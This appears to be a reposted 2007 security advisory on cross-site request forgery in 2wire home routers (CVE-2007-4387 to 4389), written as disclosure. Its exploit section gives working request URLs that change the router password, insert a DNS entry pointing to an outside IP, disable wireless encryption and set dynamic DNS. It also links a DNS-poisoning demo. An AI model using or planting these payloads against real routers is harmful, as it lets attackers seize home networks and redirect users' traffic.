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Home arrow SecurityAlert Database

Arrow  Topic :

Cross Site Request Forgery in 2wire routers


Arrow  SecurityAlert : 3026
Arrow  CVE : CVE-2007-4389
Arrow  CVE : CVE-2007-4388
Arrow  CVE : CVE-2007-4387
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : hkm
Arrow  Published : 20.08.2007

Arrow  Affected Software :
1701HG, 2071 Gateway
v3.17.5, 5.29.51 Password Not Set (default)



Arrow  Advisory Content :  

Cross Site Request Forgery in 2wire routers

Vulnerable Routers: 1701HG, 2071 Gateway
Software: v3.17.5, 5.29.51 Password Not Set (default)

Greetz a la Comunidad Underground de México, y a los
que me ayudaron a probarlo: Preth00nker, nitr0us, ...
hkm (at) hakim (dot) ws [email concealed]

I. Background
-------------
This is the most popular router in Mexico and the default installation from
the ISP has no system password.

II. Vuln
----------------
It is possible to send a request to the router that will modify its
configuration.

It does not validate POST, or Referer or Anything...

II. Exploit
----------------
We just need the client to do a request to the router with the
configuration we desire.

[examples]

Set a password (NUEVOPASS):
http://192.168.1.254/xslt?PAGE=A05_POST&THISPAGE=A05&NEXTPAGE=A05_POST&E
NABLE_PASS=on&PASSWORD=NUEVOPASS&PASSWORD_CONF=NUEVOPASS

Add names to the DNS (216.163.137.3 www.prueba.hkm):
http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAM
E=www.prueba.hkm&ADDR=216.163.137.3

Disable Wireless Authentication
http://192.168.1.254/xslt?PAGE=C05_POST&THISPAGE=C05&NEXTPAGE=C05_POST&N
AME=encrypt_enabled&VALUE=0

Set Dynamic DNS
http://192.168.1.254/xslt?PAGE=J05_POST&THISPAGE=J05&NEXTPAGE=J05_POST&I
P_DYNAMIC=TRUE

Disable the Firewall
Reset the device
Etc...

DNS Poisoning demo: http://www.hakim.ws/2wire/demodns.html




Arrow  Feedback :

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